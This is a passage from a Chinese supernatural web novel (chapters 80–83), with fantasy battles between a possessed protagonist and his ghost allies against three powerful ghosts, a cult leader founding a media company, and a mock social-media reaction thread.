与此同时,八道诡谲的身影无声无息的出现在青年身侧——
抱着自己脑袋的小女孩、杵着拐杖笑呵呵的老者、手里拿着一把菜刀的女人,以及从女人身上分裂出来的面部皮肤宛如蜡油般融化后又凝固的男人、身穿深蓝色保安制服的大爷、皮肤呈现诡异的紫白色,身上湿漉漉的、不停向下淌水的男孩、一脸慈祥的老奶奶
还有举着手机的年轻人。他对着三个诡异按下快门键,“咔嚓”一声拍下照片。
瞬间,交警的笑容凝固在脸上,胖厨师咀嚼的动作戛然而止,管理员则发出一声若有所思的轻哼:“嗯?”
手机鬼转身对宴泠昭晃了晃手机屏幕,上面赫然是三个诡异的合影。
“这是我新开发的能力,能把诅咒模式转化成照片下咒。”说到这他顿了顿,有些扭捏地搓了搓手指:“那个你懂的,我适合搞辅助。”
随即又小声的补充了一句:“你怎么老招惹一些不好搞的对手。先说好,我这招对他们的压制效果有限,也撑不了多久。”
***
枯叶在萧瑟的秋风中打着旋,飘落在血染的战场上。
八鬼站成一排,与三个S级诡异形成对峙之势。
王玲玲安静地站在最边缘,轻轻抚摸着怀中头颅的发丝。
下一秒,胖厨师突然感到脖颈一凉,伴随一声重物落地的闷响,他先是下意识抬手摸了摸脑袋的位置,摸了一手空,接着“低头”往下看,看到自己的头就掉在脚边。他将头捡起来放回到脖颈上“安装”好,随后看向小女孩,咆哮道:“你居然敢动我的头,我要把你的头砍下来炖汤!”
王玲玲没有说话,只是把怀里的头颅抱得更紧了些。
何老拄着拐杖上前一步,无形的“寂静领域”张开,瞬间笼罩战场。
眯眯眼交警的笑容第一次完全凝固,不过很快就恢复了正常,眼中红光剧烈闪烁。
“你这能力很适合睡觉啊,什么声音都没有。”
田燕婉和分裂出的男人配合默契。菜刀在她手中化作银色闪电,每一次劈砍都在秋日的阳光下折射出刺目的寒光。男人则用身体充当盾牌,挡在女人面前,挡下一切攻击,被打得千疮百孔也不退半步。
但管理员只是优雅地翻动书页,就将田燕婉的凌厉攻势尽数化解。
保安大爷的腹部裂开一个漆黑的洞口。强大的吸力将满地落叶和冲过来锁定住王玲玲的胖厨师一同拉扯过来,但很快就被对方用蛮力挣脱。
“有点意思。”胖厨师舔着嘴唇,油腻的脸上露出狰狞的笑容,“但还差得远了!”
李小虎召唤出的水珠刚触及交警,就被蒸发成一团雾气。李奶奶想要施展能力,就见管理员手上的书自动翻到某一页,接着李奶奶就不能动了。
“你们这些低等诡异。”管理员阴森声音仿佛从四面八方传来,“为何要自甘堕落,帮助人类?”
手机鬼躲在最后方,疯狂按动快门。每一声“咔嚓”都让三个S级诡异的动作出现短暂的迟滞,但这种干扰越来越微弱,持续的时间也越来越短。
宴泠昭抓住每一个转瞬即逝的空隙发起进攻。他的拳头裹挟着凌厉的劲风砸向胖厨师的面门,却被对方肥厚的腹部轻松挡下。反震力让他整条手臂都发麻,指关节渗出鲜血。
“没用的,小子。”胖厨师狞笑着,一拳将宴泠昭轰飞出去,撞断了路边一棵碗口粗的梧桐树。枯黄的树叶如雨般落下,覆盖在他伤痕累累的身体上。
王玲玲想要过去帮忙,但被瞬移到她面前的交警一把掐住脖子提了起来。
“可爱的小家伙。”交警眯着眼笑道,手指一用力,王玲玲便化为黑雾消散在秋风中。
何老见状脸色阴沉,“寂静领域”全力爆发。但管理员只是轻轻一挥手,他的拐杖就断成两截。
紧接着,何老的身体就像枯枝般碎裂,也变成黑雾消散了。
田燕婉将菜刀砍进胖厨师的肩膀,结果刀身刚进去就被卡主动不了了。胖厨师伸手就要去抓她,田燕婉控制男人挡在她面前,代替自己被胖厨师抓住,然后男人被胖厨师撕纸般轻松撕成两半。
田燕婉也没能幸免,被管理员召唤出的“风刃”切成了碎片。“嘭”的一声,变成一团黑雾,风轻轻一吹就散开了。
王大爷接着也被胖厨师整个吞下,胖厨师吞他之前还说:“看看是你的嘴大,还是我的嘴大。”
吞下王大爷后,胖厨师拍了拍自己的大肚腩,“看来还是我的嘴大。”
李小虎召唤出的水幕被蒸腾殆尽,自己也被烤干成了一具干尸。
八鬼还剩两鬼。
管理员看向被他禁锢在一旁的李奶奶,漫不经心地翻动书页,下一秒,李奶奶就如同被橡皮擦抹去的铅笔画一般,无声无息的消散在空气中,连一丝痕迹都没有留下。
手机鬼汗流浃背了,拼命推搡着半昏迷的宴泠昭,额头上渗出豆大的汗珠:“老大!大哥!boss!老板!求你了,快醒醒啊!再不醒咱们要交代在这儿了!”
三只诡异的视线同时转向他们,冰冷的目光如同实质般压迫而来。
手机鬼顿时感到一股窒息的威压,连声音都开始发颤:“那个我能不能申请不死啊”
他最后的尾音随着“咔嚓”一声脆响戛然而止——手机屏幕应声碎裂,紧接着,他的身影也如同信号不良的影像般闪烁几下,最终化作一缕黑烟消散在风中。
自此,八鬼全灭。
宴泠昭这时终于醒了过来,他艰难地撑起伤痕累累的身体,鲜血不断从嘴角溢出,滴落在铺满梧桐叶的地面上,在枯黄的叶片上晕染开一朵朵刺目的血花。
耳朵嗡嗡作响,仿佛有千万只蜜蜂在颅内振翅,隔绝了外界的一切声响。视线模糊不清,眼前的世界仿佛隔着一层毛玻璃,所有景物都扭曲变形。
他用力摇了摇头,试图甩开这份混沌,却只换来片刻的清明,转瞬又被眩晕淹没。
模糊的视野中,他看见三道诡异的身影正朝自己走来。
宴泠昭尝试呼唤八鬼,却只得到一片死寂的回应。这份沉默已经说明了一切,他的心沉到了谷底。
真是糟糕透顶。
他咬紧牙关,强迫自己站起来。
三个诡异也没动手,他们需要活人作为进入小区的“钥匙”——先前的人类都用完了,要么被扔进小区后躲在里面不出来,要么被他们不断地尝试其它方法时被折磨得死掉。
而死掉的人类就失去了价值。
试图站起来失败。宴泠昭只好跪着,不过视线倒是清晰了些。
他看着三鬼中身形最为高挑的那个长发诡异向自己走来,然后一把拽住他的衣领,将他整个人提了起来。
钻心的疼痛瞬间席卷全身,宴泠昭忍不住发出一声闷哼,怀疑自己的骨头断了大半。
长发诡异拖着他向小区门口走去,另外两个诡异紧随其后。
当宴泠昭被带到小区门前时,他的目光与里面幸存的士兵对上。
——还有人活着。这个发现让宴泠昭沉重的心情稍稍放松了些。
人在濒死时总会想起很多。宴泠昭的思绪不由自主的飘回到过去,又想起朱德宏的劝阻。
他不听劝告执意前来,如今不仅搭上自己,还连累了八鬼。
只能说不愧是超S级的诡异,实力远超想象,仅仅一击就让他失去了行动能力,与之前遇到的鬼母完全不在一个层次。
意识逐渐涣散,耳边隐约传来三个诡异的交谈声。
听不清内容。
在彻底陷入黑暗前的最后一刻,宴泠昭感觉到有片红光从天空洒落下来
三鬼突然停止交流,同时抬头望向天空——一轮血色的圆月不知何时取代了太阳的位置,将整个世界笼罩在它的猩红之下。
【作者有话说】
本来以为这章能写到,但还是差了一点qaq
80-90
81 第 81 章
◎头发白了◎
正午十二点三十一分, 太阳毫无预兆的消失了。苍穹之上,一轮妖异的血月高悬, 猩红的光晕染红了整片天空。
三个诡异僵在原地。他们只经历过一次这样的异象(就是八月份宴泠昭离开小区血月当空的那次),而那次的记忆宛如梦魇般令他们刻骨铭心。
——也不知道是不是因为他们在诡异里是最强大的那批,因此他们受到的影响也更大,反应也更强烈,承受的痛苦远比普通诡异要剧烈。那种感觉就像有无数把利刃同时凌迟他们的灵魂,痛到连挣扎的力气都没有, 连求死都成了奢望。
是以此刻再见血月,三个诡异的态度皆变了。
“看来今天是不行了。”眯眼交警的声音失去了先前的从容,尽管眼睛依旧眯着,但嘴角已经绷成了一条直线。
血月对他们造成的“削弱效果”太大, 若此时人类发起进攻,他们可能阴沟里翻船。
胖厨师肥硕的身躯微微发抖, 油腻的皮肤上渗出冷汗:“得、得赶紧走。”他的声音里带着掩饰不住的惶恐。
管理员沉默地颔首。
小区鬼域随时可以再来, 不必急于一时。至于这血月会持续多久不知道。但有一点可以确定的是, 绝不会太久。
正当三鬼准备撤离时,一股浩瀚如渊的威压骤然降临。三个诡异瞬间如陷泥沼,连指尖都无法动弹。那威压仿佛千万吨重的山岳压在肩头,又似无数根钢针扎入骨髓。胖厨师肥厚的皮肤下鼓起一个个可怖的肉瘤, 像是要爆裂开来;交警眯起的眼睛被迫睁大, 漆黑的眼白中血丝密布;管理员手中的书籍“啪”地自动合上, 书页间渗出黑色的液体。
在这令人窒息的氛围里,宴泠昭缓缓站了起来。一头乌黑的发丝从发根开始褪色, 逐渐变为霜白, 同时以肉眼可见的速度生长, 直到垂落至大腿处。整个过程他始终闭着双眼。
当那双眼睛终于睁开, 璀璨的金色瞳仁如同两轮缩小的太阳,在血色月辉下熠熠生辉。
三个诡异惊骇的发现,那令他们灵魂战栗的威压,竟是从这个人类身上散发出来的。
就在三个诡异惊疑不定之际,宴泠昭的身影已经完全变了模样:霜白的长发无风自动,在血色月光下泛着冰冷的光泽;金色的眼眸淡漠深邃,只是看着他们,那目光就仿佛洞穿了他们的灵魂,让三个S级诡异感受到来自灵魂深处的恐惧。
“这不可能”胖厨师肥厚的嘴唇颤抖着,油腻的额头上渗出豆大的汗珠。他试图后退,却发现自己的双腿像是生了根一般无法移动。作为超S级诡异,他第一次体会到了何为恐惧——血月那回只是痛苦。
眯眯眼交警的笑容也完全消失了,那双总是眯起的眼睛此刻完全睁开,漆黑的眼白中猩红的瞳孔缩成了针尖大小。他的喉咙里发出“咯咯”的声响,像是被什么无形之物扼住了咽喉。
向来游刃有余的他,此刻连最基本的表情管理都做不到。
最震惊的莫过于管理员。无面的脸庞虽然看不出表情,但他捧着书籍的双手正在不受控制地发抖,书页间渗出的黑色液体越来越多,将他的袖口都浸透了。
作为三个诡异中最接近“那位”的存在,他比谁都清楚眼前这个人类身上散发的气息意味着什么。
“是是和那位一样的气息”管理员的声音第一次出现了明显的颤抖,“但怎么会出现在一个人类身上?”
宴泠昭可不在乎三诡的想法,他抬起右手,指尖凝聚出一团乳白色的光晕。三个诡异顿时感到施加在身上的威压又加重了数倍,胖厨师肥硕的身躯开始不受控制地痉挛,交警的膝盖发出不堪重负的“咔咔”声,管理员的书本“啪嗒”一声掉在地上。
“逃”胖厨师从牙缝里挤出一个字,可连转身的力气都没有。
交警的眼中第一次浮现出近乎绝望的情绪,他艰难地转动眼珠看向管理员,却发现对方已经单膝跪地,脑袋深深低垂,做出了臣服的姿态。
胖厨师和眯眼交警见他们中最强的管理员都俯首称臣,立刻也跟着单膝跪地,垂首以示臣服。
然而宴泠昭并没有放过他们的意思。他指尖凝聚出一团萤火虫般微弱的白光,缓缓飘向三个诡异。那光芒看似柔和无害,但在三个诡异眼中,却比核弹还要恐怖千万倍——他们清楚的知道,一旦被这光碰到,绝对会灰飞烟灭,连一点残渣都不会剩下。
若不是动弹不得,他们早就逃之夭夭了且一定是逃到天涯海角、永远不会回头的那种。
就在白光即将触及三鬼的瞬间,三鬼的身影倏然凭空消失。
白光人性化地顿了顿,在原地困惑地转着圈,似乎不明白那么大的三个目标怎么突然就不见了。
宴泠昭没有管白光,而是将视线投向小区内部——幸存的士兵们正紧张不安地看着他。
宴泠昭没有理会士兵们的反应,抬脚走向小区。
一步,两步,三步
与此同时,那团原本像无头苍蝇一样打转的白光终于找到了方向,以比先前快上百倍的速度疾射而出,眨眼就消失在了远方。
宴泠昭步入小区后,对周围的士兵视若无睹。他站定脚步,抬起左手,又一团白光在掌心凝聚。随着他轻轻一挥,白光化作无数光点四散飞溅。
奇迹发生了——士兵的伤口以肉眼可见的速度愈合,断肢处更是重新生长出完整的肢体。
当光点落在阵亡士兵的尸体上,虽然尸体没有复活,但一个个与死者一模一样的身影从尸体上飘然而出。即便是那些支离破碎、面目全非的残躯,白光也没有遗漏,照样从中唤出了完整的灵魂。
接着,宴泠昭用食指在空中轻轻一点,八道熟悉的鬼影逐渐凝聚成形。
做完这一切,他走向路边一张供居民休息的长椅坐下,而后闭上了那双冰冷漠然的金眸,好像睡去了
幸存的士兵们面面相觑,不知所措;已经死了,现在疑似变成诡异的士兵则一脸茫然。
同样茫然的还有刚刚被复活的八鬼。
手机鬼疑惑地摸了摸自己的身体:“咦?我没死?可我明明记得我被打散了的”
何老眼中闪烁着智慧的光芒:“你没记错。估计是宴泠昭把我们救回来了。”不愧是八鬼里年纪最长、阅历最深的,一下就猜到了真相。
随后,他顺着与宴泠昭之间的感应,将视线投向长椅方向。只见一个白发青年静静地坐在那里,胸膛规律地起伏着,双眼紧闭,好像睡着了。
——要不是相貌没变,感应指向的也是对方,何老都不敢认
宴泠昭怎么突然变成这样了?
不过现在不是计较这些的时候。
何老默不吭声的转头看向附近如临大敌的士兵们,顿了下,和蔼的笑道:“别紧张,都是自己人。不信的话,可以问你们领导。”
幸存的士兵中军衔最高的也不过是个中士,做不了主。好在指挥部那边已经看到了这边的情况,派来的增援部队正好赶到。
其中就有朱德宏。验证了何老的话
恍惚间,宴泠昭感觉自己整个人都是轻飘飘的,仿佛失去了肉.体的重量感,飘浮在空中。
不知飘荡了多久,脚下突然传来柔软的触感。他迷迷糊糊地睁开眼,发现自己站在一片粉红色的“地面”上——准确来说,是某种肉质组织。
绵延无尽,看不到边际。
宴泠昭茫然四顾,看到一个背对着他的人影,下意识走了过去。
那人影看着离他不远,可能也就近百米,正常来讲,走个一两分钟就够了。但宴泠昭感觉自己走了很久很久,绝对不止一两分钟,说不定十分钟都有了,但距离那个人影依然还是有近百米的样子。
换句话说,走了这么久,没有拉近丝毫距离。
若是放在现实里,以宴泠昭谨慎的性格早就放弃了,毕竟这怎么看怎么不对劲。不过话又说回来,真放在现实里,宴泠昭压根就不会过去。
——但此刻是在梦中,他莫名较上了劲。如果说一开始只是好奇,想看看,那现在就是非过去不可。
就这么不知疲倦地走着,走到后来宴泠昭都麻木了,眼中只剩下那个身影。
不知道过了多久,距离突然缩短,几步之后,他已经站在了那人身后。
目的是达成了,宴泠昭却犹豫起来,不知该如何跟人家搭话。
就在这时,他听见一道空灵的声音响起,说的并非是他已知的任何语言,但奇怪的是他能听懂。
【“醒来。”】
“什么?”宴泠昭下意识反问。
没有回应。
他又问了一遍,依旧无人应答。
倔脾气又又又上来的宴泠昭大步绕到人影面前,却在看清对方面容的一瞬僵在原地——竟然长得和他一模一样。
不对,不是一模一样。
那张脸美得超越了性别,五官完美到近乎妖异,说和他长得一样,根本是在折辱对方。
可就是不知道是什么原因,他就莫名有种这是自己的脸的感觉,好像他本来就长这个样子。
宴泠昭感到荒谬,内心发慌,本能地后退两步想要远离。
下一秒,他听见无数呓语从背后响起,像是有千百个人在说话,其中有男有女,有老有少,吵得他头痛欲裂。
宴泠昭受不了了,下意识往前走了两步走回去,那呓语瞬间消失。他紧皱的眉头松开,可转而又看到面前古怪的身影,对方眼睛一下都没眨过,跟个人偶似的,可眼睛又是有神的身上的非人感过于强烈,就很瘆人。
宴泠昭没忍住,再次后退了两步,于是那吵得他脑袋都要炸了的呓语又来了。
没办法,宴泠昭硬着头皮重新回到原来的位置。
——可真是前有虎后有狼。
好在人影只是吓人,实际上并没有给宴泠昭带来伤害,所以眼下非要宴泠昭选一个,他选择了人影。
之后,宴泠昭和人影大眼瞪小眼,其实主要是宴泠昭单方面盯着人影看。
就这样,盯得眼睛都发酸了,脚也站痛了,宴泠昭摆烂了,干脆盘腿坐下。
又不知道坐了多久,就在他昏昏欲睡之际,一道熟悉的声音传来:
【“吾主,如今地球的变化日新月异,为顺应时代发展,您忠诚的仆人斗胆成立了一家公司里面汇聚了最虔诚的信徒我们时刻准备着迎接您的苏醒只待您降临之日”】
宴泠昭:“?”
【作者有话说】
[撒花]
82 第 82 章
◎白光:都给爷死啦死啦滴◎
这个声音莫名有些耳熟。
宴泠昭努力在记忆深处搜寻, 脑海中顿时浮现出无数道模糊的人影,最终定格在一个打扮最浮夸、最神秘的身影上——或许还要加上“最神经”这个标签, 那就是:
墨菲斯。
那个一副中世纪欧洲瘟疫医生装束的男人。他从来没见过他面具下的真实样子。
不过话又说回来,他们也不过两面之缘,第二次“见面”还是在梦里见的。
说到做梦他此刻好像也是在梦做来着。
这个认知让宴泠昭精神一震。
下一秒。
现实世界。
病床上的青年猛地睁开双眼,映入眼帘的是熟悉的白色天花板。空气中弥漫着刺鼻的消毒水气味。
这个场景似曾相识,似乎不久前才刚经历过。
青年没有急着起身,而是先偏头检查自己的双手。很好, 没有输液针头,可以自由活动。就在他撑起身子的瞬间,房门被推开的声响传来。
抬眼望去,又是一个熟悉的画面——来人是朱德宏。
***
经过一番讨论, 墨菲斯最终决定将公司注册为传媒公司。
这个建议来自林小雨。林小雨就是那个艺术专业毕业两年,至今未能找到对口工作的女生。
她推了推眼镜, 侃侃而谈, 说得有理有据:“国外就是这么做的, 什么电影啊,广告啊,小说啊,漫画啊等等宣传他们的文化, 从软实力层面打击我国, 潜移默化的腐蚀咱们国内老百姓的思想和意志。”
“当然, 咱们和他们不一样。咳,总之, 如果墨菲斯先生你是希望公司能够大范围的传播我主的光辉和信仰, 没有别的要求, 那建立传媒公司是最好的选择。届时我们可以自己制作电影电视剧, 翻拍漫画小说,多方面植入广告等手段吸引人待公司的名声打出去,进入“品牌效应”从而达成良性循环,慢慢的接受的人就多了。”
“好比很多大牌,他们的东西难道一定好吗?不一定的,纯粹是因为大众熟知它,买东西的时候会下意识的选择它。不过牌子也有牌子的好处,那就是品牌方不会做自打脸的事,至少他们的东西是能够控制好质量的。”
说到这,林小雨话锋一转,犹豫道:“但有一个问题,我国对宗教方面的事情抓的很严,管理也很严格,他可以不管你信什么——只要你不去危害社会,自己信自己的,也不造成什么不良影响。但咱们公司,本就是为了宣传这个,所以”
墨菲斯面具下传出低沉的笑声:“这些都不是问题,你只需提出有效方案,外界因素我来处理。”
综上所述。
接下来,只用了短短一天时间,一份策划案就初步完成了。接着,墨菲斯使用“钞能力”和“超能力”双管齐下,《圣宗传媒》第二天就正式挂牌成立了。
值得一提的是,当墨菲斯宣布这个名字的时候,众人陷入了沉默。
见状,墨菲斯挑了下眉,问道:“怎么了?你们有意见?”
林小雨委婉提醒:“会不会太直白了?”
墨菲斯却对此十分满意:“要的就是这个效果。”
林小雨能说什么呢,墨菲斯开心就好,反正公司是他出钱建立的,他们的工资也是他开,只要墨菲斯能保证公司顺利运转下去就没问题。
李光志眼观鼻鼻观心,大家激烈讨论的时候他一句话都没说,本来大家就烦他——虽然他不是故意带领大家伙掉进邪教窝的,但结果如此,遭人恨是正常的。
为了不挨打,这些天他努力表现自己,并降低自身存在感。可是现在,有些话他实在憋不住了:
“我们不往外招人吗?人会不会太少了?而且术业有专攻,我听你们的意思,要拍电影?那演员得有吧?编剧得有吧?导演也要有吧就我们这些人,似乎完不成”
墨菲斯按着下巴:“创业初期,人手不足,没有办法。就麻烦你们多克服一下困难了。也不是我不愿意招人,是公司只招收信众。”
林小雨托着下巴认真思索了一会儿,眼睛突然亮了起来:“直接拍电影确实有点好高骛远了,不如我们先从短剧开始尝试吧。短剧制作门槛低,咱们这几个人就能搞定。稍微收拾一下形象,加点美颜滤镜,就算台词说得不流畅也没关系,可以后期配音。演技生涩反而更接地气,现在观众就喜欢看这种真实感。”
“没错!我们完全可以走这个路线!”她越说越兴奋,忍不住拍起手来,掌心都拍得发红。
李光志弱弱的插话道:“那剧本怎么办?我们当中有人会写剧本吗?”
一片鸦雀无声。
林小雨环顾四周,见没人出声,举手道:“我闺蜜是网络小说作者,可以找她定制剧本,当然这需要支付稿费。”说完,她意有所指地看向墨菲斯,做了个数钱的动作。
墨菲斯富有磁性的声音低笑了两声,语气愉悦:“资金不是问题。我只有一个要求:多吸引人信仰我主、让更多人了解我主的荣光。”
林小雨点头:“确认资金方面没有困难?”
墨菲斯优雅颔首。
“那就简单了!”林小雨高兴地打了个响指,“俗话说有钱能使鬼推磨啊不是,我是说只要投入足够,发展信众根本不是问题。”
墨菲斯自然看穿了她的心思,似笑非笑的道:“光是嘴上说说可不算数哦。要达到什么样的虔诚程度,我自有标准——你们也一样。"
众人里有用手指蹭鼻尖的,有看天看地就是不看墨菲斯的各种小动作尽显他们的心虚。
旁边。
文化程度不高的村民们听得云里雾里,生怕自己派不上用场“失业”。他们推举出一个代表,小心翼翼的问道:“那个老板,我们做啥啊?”
墨菲斯转过头来看向村民:“你们负责走群众路线,发挥你们的特长,在基层进行宣传。另外,如果拍摄需要群众演员,你们也要随时支援。”
村民们忙不迭的应下。
之后,林小雨去找她那位写小说的闺蜜洽谈剧本事宜,其他人也各自领命而去。
墨菲斯交代完所有事项后,将整个计划以祷告形式汇报给了神明。
祷告结束后,他静默等待了许久
如他所料,神明没有任何回应。
毕竟那位早已陷入沉睡。
若不是情况有变,他也不想打扰神明。
——有不速之客趁主人沉睡之际试图鸠占鹊巢。而以墨菲斯的能力又无法将其驱逐。现在唯一的办法,就是唤醒沉睡的神明。
但要如何唤醒呢?
答:用海量的信仰。
当然,神明并不以信仰为力量源泉,信仰对祂来说毫无用处。
墨菲斯之所以要传播信仰,一是信徒多了,每天祷告的人多了,说不定哪天神明就被吵醒了。
二是他实在看不惯现在的人类完全忘记了神明的存在,简直大不敬!
三没有三了。原因就是这么简单。
***
三个诡异只觉眼前一花,便各自回到了自己的鬼域。
这当然不是他们自己的能力所为——在那个奇怪人类的压制下,他们根本动弹不得。
所以,是那位赐予了他们力量的存在,将他们传送回的各自的老巢。
胖厨师松了口气,抬起油腻的手掌,擦了擦额上渗出的冷汗,心有余悸的想他刚才差点就魂飞魄散了。
那个人类究竟是什么来头?人类又什么时候拥有这种力量了?若真如此,他们诡异哪还有立足之地?
还是说那人其实根本就不是人类?可也不是鬼啊!这点他还是能分得清的。
就在胖厨师苦思冥想之际,余光忽然瞥见一道异样的光芒。他下意识转头望去,只见一团熟悉的白色光球,正以导弹般的速度朝他疾驰而来。
那光球他再熟悉不过了——不久前,他差点就命丧其下。
这玩意儿居然还能追到鬼域里来?!
胖厨师那双常年被肥肉挤压得只能半睁的眼睛,此刻因极度恐惧而完全睁大。生死关头,他转身就要逃跑。
然而那白光仿佛装有GPS定位系统,无论他如何闪转腾挪,都甩不掉这个索命的光球。更可怕的是,白光的速度远比他逃跑的速度快得多。
胖厨师没跑多远,那白光就已经追上了他。二者相碰的刹那,世界仿佛在这一刻静止。
下一秒,无声的核爆在鬼域中爆发。胖厨师连惨叫都来不及发出,就湮灭了。他的整个鬼域也在白光的笼罩下被夷为平地。
待光芒散去,原地只剩下一片虚无。
与此同时,眯眼交警那边也上演着同样的戏码。
不过交警反应敏捷,速度也比胖厨师快。
他毫不犹豫地直奔管理员的鬼域而去。管理员是他们当中最强,也是能力最多的,还是唯一能和那位直接联系上的,说不定能救他一命。
就在白光即将追上眯眼交警的时候,眯眼交警成功冲进了管理员的鬼域。他来不及松口气,只见远方另一道白光朝着管理员鬼域的某个方向飞去。
以他的经历来看,那白光追踪的方向,多半就是管理员的所在之处。
眯眼交警在心中疯狂祈祷:管理员一定要联系上那位,现在唯有那位出手,他们才有一线生机。
一边祈祷着,眯眼交警一边脚下丝毫不停,紧追着那道白光而去——既然白光在追踪管理员,那跟着它就一定能找到管理员。
另一边,图书馆内。
管理员正疯狂翻动手中的书籍,似乎在寻找什么。窗外,白光已经逼近,眼看就要破窗而入。
“咔嚓”一声脆响,玻璃窗应声而碎。
白光即将触及管理员的瞬间,管理员终于停止了翻页。而停留的那一页书页上突然“长”出一根漆黑的触手,以迅雷不及掩耳之势将白光整个包裹住。
触手剧烈膨胀了一瞬,仿佛内部有什么东西爆炸了,随后便消散于无形。
管理员刚松一口气,图书馆的大门突然被人粗暴地撞开。眯眼交警跌跌撞撞地冲了进来,大声喊道:“管理员,救我!”
管理员下意识转头,只见又一道白光紧随着交警飞了进来。
管理员:“?!”
管理员瞳孔骤缩,书籍在他手中剧烈颤抖起来。漆黑的触手再次从书页中窜出,却在触及第二道白光的瞬间如冰雪般消融,而白光完好无损。
“不”管理员声音颤抖,语气充满惊惧。
下一秒,白光无声绕到他的身后,穿透他的胸膛。管理员僵硬地低头,看着自己的身躯分崩离析。他拼尽最后一丝力气,将书籍抛向空中——
“吾主救”
书籍却在半空中化作飞灰,管理员的身体也随之消散。紧接着,整个图书馆开始崩塌,书架倾倒,书页如雪花般纷飞。
眯眼交警呆立在原地,眼睁睁看着这一切发生。
至于那团白光,弄死管理员后它人性化地抖了抖,随后向眯眼交警飞去。
【作者有话说】
白光:记仇.jpg
就你打我是吧,先弄死你^-^
83 第 83 章
◎三个鬼域全部消失◎
时间回到宴泠昭坐在长椅上闭目“休憩”的时候。
血月高悬, 将整个世界浸染在暗红色的诡谲光晕中。与此同时,网络世界正热议着两件事:
【围脖热搜榜】
1. #B市诡异入侵# 爆
2. #血月再现# 爆
3. #S级诡异现身# 热
4. #特殊部队出动# 热
5. #全球血月现象# 新
6. #诡异与人类共存# 新
7. #B市紧急疏散#
8. #血月预示着什么#
9. #现场目击者讲述#
10. #如何应对诡异事件#
【热门话题讨论】
老板这瓜甜不甜:我的天!B市的朋友发来的视频太吓人了!那个没脸的诡异一挥手就死了好多人!政府到底在干什么?#B市诡异入侵#
我恨早八:这是第二次血月异象了吧, 上一次还是在两个月前,当时国家给出的意思是自然现象那会儿我就不信,现在看来果然不是自然现象,而是和灵异现象有关。官方不解释一下吗?#血月再现#
人在现场差点扑街:老天奶,我再也不说早死早超生了,还是活着好TvT#S级诡异现身#
军事老张:最新消息!特殊作战部队已经抵达B市, 但据说遭遇了前所未有的S级诡异。前线传回的画面显示[图片]#特殊部队出动#
星星不眨眼:关于此次全球血月现象!美国NASA刚刚发布紧急声明#全球血月现象#
【网友热评】
莫欺少年穷:这绝对是世界末日的前兆!血月现,妖魔出!古人诚不欺我!
天选幸存者:坐标B市,差点寄了,只有亲临现场的人才知道有多可怕(瘫倒.jpg)
好奇宝宝不吃菜:有没有人说一下血月和诡异是否存在关系?总觉得太巧了
PTSD患者:当事人之一, 那个胖厨师诡异吃了好多人!(呕吐.jpg)
铁血战士永不言败:政府应该立即启动核打击!把诡异全部消灭!不知道为什么要等!
香草蛋挞派:@铁血战士永不言败
你疯了吧,B市一千多万人怎么办?好家伙, 人家诡异只屠了几十人, 你一开口就要千万人的命, 阎王都要给你让座,到底谁是诡异啊?
家有两狗:我家狗从刚才开始就一直对着月亮狂叫,上次血月也是,我总有种不祥的预感(流泪jpg)这个世界到底能不能好了。
狗运救我:感觉那三个诡异里没有脸的那个最可怕, 手里拿着一本书, 跟魔术师似的, 一翻页就一个技能,能不能教教我orz
小叶精灵:坐标M国, 这边血月出现后街上乱得不行, 已经开始打砸烧抢了, 我真的会谢(再见.jpg)
狂啃绿化带:坐标Y国, 情况和M国差不多。倒是国内,你们这个时候应该是白天吧,哪来的月亮?
王中王中王:就是月亮突然出现并“顶替”了太阳,所以前面才有人说绝对不是自然现象。
科学前沿:你们快看最新消息!官方刚才发文了,称血月期间诡异会变得狂暴,伤人概率大幅增加,大家一定要注意安全,不要乱跑!
准妈妈:血月期间出生的孩子会不会有超能力?在线等挺急的!
我不吃牛肉:@准妈妈
我也挺好奇的,你要是生了说一下,我亲自蹲
君山:血月开始变淡了!
西太后的打火机:血月消失了,太阳出来了
宴泠昭睁开双眼的刹那,窗外最后一缕血月光辉正好消散。明亮的太阳高悬天际,温暖的阳光洒落大地。
他在病床上静静躺了片刻,然后想要起身时,记起之前的经历,下意识先检查了下双手,确认没有针头,才坐起来。
房门恰在此时被推开,朱德宏步履沉稳地走了进来。他的衣服依旧笔挺整洁,但眼角的疲惫却掩饰不住
从朱德宏口中,宴泠昭得知了自己昏迷期间发生的事。当听到血月二字,他眉头微蹙:“血月?”
——鉴于这次网络上的舆论太大,根本压不下去,即使朱德宏不说,宴泠昭迟早也会看到相关消息。
是以,权衡之下,朱德宏决定亲自告知。这样一来,万一宴泠昭又像上次似的产生剧烈反应,他也能及时应对。
幸运的是,这回宴泠昭没有“应激”。
不过,朱德宏也没有将事情全盘托出,他刻意隐瞒了一个关键细节,那就是宴泠昭第一次昏迷后判若两人的状态、变白的头发、轻易驱逐三个S级诡异的场景、治愈伤员的奇迹,以及让阵亡士兵以诡异形态“复活”的事实。
而那些“复活”的士兵目前被困在小区内,无法跨越大门半步,所有的交流都只能隔着小区大门进行。
——虽然他们这边倒是能主动进入小区,但以防万一,没那么做。
至于为何要隐瞒?
朱德宏很清楚,那会的宴泠昭绝非本人,更像是被月神操控的傀儡。而关于月神的事,之前宴泠昭体内的诡异就警告过:最好不要让他知道。
知道了会怎样?朱德宏已经领教过了。
上次仅仅是提及血月,宴泠昭就突然性情大变,周身散发出的阴冷气息令人毛骨悚然,阴性能量急剧飙升。
当时他还以为是宴泠昭体内另一个未露面的强大诡异在作祟,现在才恍然大悟——他所猜测的“大鬼”,实际上就是月神。
对此,宴泠昭体内的诡异肯定知道,但他们故意没说。原因朱德宏不用想也知道:人就是恶意不说,想看人类吃瘪。
话说回来,这次提起血月,宴泠昭居然毫无反应。这种反常让朱德宏隐隐不安,总觉得平静之下暗藏危机。
以上种种,仅在朱德宏脑海中一闪而过。
他表面上镇定自若的回道:“是的,血月可能与诡异有关,具体关联我们正在研究中。”
宴泠昭点点头,然后突然想起什么,说道:“我刚才做了个梦,感觉有些奇怪,不知道和诡异有没有关系。”
若是以前,宴泠昭多半只会把这当作噩梦抛诸脑后。但如今知晓诡异真实存在后,他对任何异常都格外敏感——这无可厚非,谨慎总比大意强。
宴泠昭将梦境娓娓道来。
当听到“白色长发的人”这个描述,尤其是宴泠昭觉得那人像自己却又截然不同时,朱德宏心头猛地一紧。
白色长发这不正是宴泠昭被月神附体时的模样吗?
朱德宏的目光不动声色的扫过宴泠昭的头发——宴泠昭的头发如今已经恢复了原本的样子:黑色、短发。看不出任何异常。
“这个梦确实很奇怪。”朱德宏谨慎的说道,“那你现在感觉如何?有没有哪里不舒服?”
宴泠昭活动了下身体:“除了有些乏力,其他都还好。”
